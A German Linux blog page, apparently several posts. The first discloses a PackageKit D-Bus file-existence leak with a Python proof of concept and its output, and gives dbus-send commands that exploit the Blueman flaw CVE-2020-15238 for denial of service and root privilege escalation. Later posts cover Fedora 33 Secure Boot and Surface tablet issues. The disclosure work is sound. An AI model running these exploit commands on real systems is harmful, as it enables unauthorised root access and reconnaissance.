D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Die Schlagzeile hat was, oder?  😀

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Der Releasetermin für Fedora 33 wackelt, da kurzfristig einer neuer Blocker dazu bekommen ist. Ubuntu hat offensichtlich etwas voreilig eine aktuelle Revocationliste für Bootloader ins EFI-Bios verteilt und damit Fedora 33 Beta unbrauchbar gemacht. Um dem Bug zu begegnen, muß man natürlich erst einmal Ubuntu installiert oder laufen gehabt haben und dann Fedora booten wollen.

5. shim https://bugzilla.redhat.com/show_bug.cgi?id=1883609 NEW
Secure Boot fails to boot F33 Beta image

It appears that Ubuntu has pushed a Secure Boot revocation list early, so people who have previously installed Ubtunu will not be able to boot Fedora. This is accepted as a FESCo blocker.

Nachlesen kann man das auf Bugzilla.

Nicht ganz unüblich dürfte das bei Menschen sein, die sich gerade durch diverse Livedisks durchtesten, auf der Suche nach Ihrem zukünftigen Lieblingsbetriebssystems.

Da es auch mein Problem mit dem Bootvorgang auf dem Tablet betrifft, habe ich da natürlich Hoffnungen. Was mir gerade so einfällt: Wo ist eigentlich der Sinn von Secure-Boot, wenn man das im Bios einfach abschalten kann?

In anderen Fedora News

DoT oder DNS-over-TLS kommt wohl doch erst mit Fedora 34. Nicht aufgegriffen wurden auch die anhaltenden pcscd & RDP Probleme mit Gnome, oder der Umstand, daß man mit Fedora keine Screencasts in Videokonferenzen machen kann 🙁  Kommt alles ein bisschen spät für die Deadline, schon klar, war aber mit Sicherheit schon so, als F33 intern das erste mal durchkompilierte.

Von der Geary Front, vorgestellt im letzten BS-LUG Meeting, gibt es auch eine neue Entwicklung: Ein bereits vor Monaten eingereichter Bugreport über einen Formatierungsfehler bei in Antworten erzeugten Daten wie „ER/SIE schrieb am …. um .. das folgende…“ sind allesamt falsch lokalisiert. Als Zeitzone kommt UTC+0 und als Format „english“ zum Einsatz, was bei einer rein Deutschen Konversation per Email mit dem Satz endete: „Das hast Du doch nie vor 2 Stunden geschrieben!“ 🙂 Da ist jetzt neue Bewegung rein gekommen, da der Hauptmaintainer langsam versteht, daß es sich nicht um ein Übersetzungsproblem handelt, sondern um ein Lokalisierungsproblem. Solche Jobs übernehmen Betriebssystembibliotheken normalerweise für einen, aber man muß die natürlich richtig füttern 😉

 

Tablet: Fedora 33 Beta auf Surface Pro 4

Wieso würde ich Euch eine Nachricht antun, daß Fedora 33 Beta Linux auf meinem Tablet läuft? 🙂

Tablet: Fedora 33 Beta auf Surface Pro 4

Also ein Grund ist, das es Gnome 3.38 hat:

der andere Grund ist, daß es bis vor 10 Minuten nicht ging 😉

Im LiveImage von Fedora 33 kommen neue Grub Bootloader zum Einsatz und die starten nicht auf dem normalen Surface Pro 4, weil das wohl ein Firmware Update braucht, was es natürlich als reines Linux System nicht bekommen wird.

Ihr entsinnt Euch vielleicht an diesen Artikel: Fedora Guide – Falls der Grub2 Fix bei Euch versagt

Grub 2 hatte da einen bedauerliches Problem. Das wirkt sich nun scheinbar auf das Liveimage aus.

Beheben lies sich das durch ein Transplant der Grubbootloader in der Boot-Partition von F31 auf F33. Fedora ist dran, wird da aber ein kleines Problem haben, weil das Firmwareupdate von Microsoft kommen müßte.

GGf. können die Jungs vom Surface Kernel Projekt helfen, aber das wird sich erst in den nächsten Tagen entscheiden, denn noch wissen die nichts von Ihrem Glück.

PS: ich staune. Mein nur zu 77% gefüllter Akku soll angeblich noch 6 Stunden bei 4 Kernen und aktivem Turbo halten. Wie lange wäre das denn, wenn der voll wäre??? und schon sprang er auf 5h 45m. Verdacht: Es lügt mich in freundlicher Absicht an 😀

Hmm.. „Suspend“ funktioniert, der wacht sogar sofort wieder auf, wenn man auf den Power-Knopf drückt. Leider killt er dabei den Wifichip 🙁

UPDATE:

Stellt sich gerade raus, es ist wohl ein Timing Problem, denn 1 von ca. 10 Boots klappt und je schneller man bootet, nachdem der USB Stick eingesteckt ist, desto wahrscheinlicher der Start. Ich hoffe wir finden das raus. Der Grubsfiles sind da wohl nicht von Bedeutung.